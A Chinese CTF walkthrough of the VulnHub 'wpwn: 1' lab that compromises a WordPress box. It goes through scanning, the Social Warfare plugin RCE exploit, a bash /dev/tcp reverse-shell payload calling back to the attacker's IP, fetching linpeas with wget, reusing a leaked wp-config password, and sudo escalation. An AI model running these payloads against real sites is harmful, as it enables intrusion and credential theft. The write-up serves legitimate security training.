vulnhub wpwn: 1

渗透思路:

nmap扫描 ---- gobuster扫描网站目录 ---- wpscan扫描发现漏洞插件 ---- 利用wordpress插件Social Warfare的RCE漏洞getshell(无需登录)---- wordpress配置文件泄露明文密码,切换到用户takis ---- sudo su提权 ---- 查看.bash_history发现flag

环境信息:

靶机:192.168.101.87

攻击机:192.168.101.34

具体步骤:

1、nmap扫描

sudo nmap -sV -sC -p- 192.168.101.87

只扫描到TCP 22(ssh)和80(http)端口

2、wpscan扫描发现漏洞插件

浏览器访问靶机80端口,出现下图的页面,好像也没啥有用的信息

gobuster扫描网站目录,发现http://192.168.101.87/wordpress/

​gobuster dir -u http://192.168.101.87 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

浏览器访问http://192.168.101.87/wordpress/时无法正确加载,直接用wpscan扫描

​wpscan --url http://192.168.101.87/wordpress/ -e

扫描到用户admin,但是后续试了几个小字典用wpscan爆破admin的密码没有爆破出来,用rockyou.txt又爆破的超级超级慢,遂放弃

wpscan还扫描到plugin: social-warfare版本3.5.2

3、利用插件Social Warfare的RCE漏洞getshell(无需登录)

在exploit-db上搜索wordpress social,发现一个:WordPress Plugin Social Warfare < 3.5.3 - Remote Code Execution(WordPress Plugin Social Warfare < 3.5.3 - Remote Code Execution - PHP webapps Exploit

点击进入,并下载exp:46794.py。但是下载下来的exp不怎么会用,发现exp中有一个github的url(GitHub - hash3liZer/CVE-2019-9978: CVE-2019-9978 - (PoC) RCE in Social WarFare Plugin (<=3.5.2)),访问后发现用法示例

按照示例在攻击机上起http服务

python2 -m SimpleHTTPServer 80

新建一个文件名为payload.txt,内容如下

<pre>system('cat /etc/passwd')</pre>

然后执行exp脚本,发现返回了/etc/passwd的内容,说明漏洞存在,且利用成功

​python2 46794.py --target http://192.168.101.87/wordpress/ --payload-uri http://192.168.101.34/payload.txt

将payload.txt中执行的命令改成bash反弹shell命令

<pre>system('bash -c "exec bash -i &>/dev/tcp/192.168.101.34/8888 <&1"')</pre>

在攻击机上nc监听8888端口

nc -nlvp 8888

然后执行exp脚本,即可获得靶机www-data用户的反弹shell

​python2 46794.py --target http://192.168.101.87/wordpress/ --payload-uri http://192.168.101.34/payload.txt

再在靶机shell中执行如下命令,得到tty

python -c 'import pty; pty.spawn("/bin/bash")'

进入靶机shell后,先来到/home目录下,发现只有一个用户takis的家目录,进入/home/takis后发现第一个flag:user.txt

4、wordpress配置文件泄露数据库密码,切换用户到takis

在靶机shell上找了一圈没找到提权方法,只好从攻击机上下载了linpeas.sh到靶机/tmp目录并执行

wget http://192.168.101.34/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

从执行结果中发现,/var/www/html/wordpress/wp-config.php 中明文记录了数据库用户名wp_user和密码R3&]vzhHmMn9,:-5

define( 'DB_NAME', 'wordpress_db' );

define( 'DB_USER', 'wp_user' );

define( 'DB_PASSWORD', 'R3&]vzhHmMn9,:-5' );

define( 'DB_HOST', 'localhost' );

另外从本地开放了端口3306来看,数据库应该是mysql,后续尝试了用wp_user进行mysql登录,可以登录成功,但数据库中没有什么有用的信息。

尝试切换到用户takis

su - takis

密码用wp_user的数据库密码: R3&]vzhHmMn9,:-5

切换成功。

5、sudo su提权

查看takis是否可以sudo执行命令,发现其可以以任何用户的身份sudo执行任何命令

sudo -l

执行如下命令提权到root,但在/root/root.txt中并没有flag,只有一段提示:take a look into my USB

sudo su -

6、查看.bash_history发现flag

由于在/root目录下并没有USB文件夹,因此在没有别的线索的情况下尝试查看.bash_history文件,确实有所发现

cat .bash_history

下图中高亮部分显示flag应该在/usr/games/USB/root文件中

进入/usr/games/USB文件夹,确实有root文件,查看其内容,确实是flag~

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值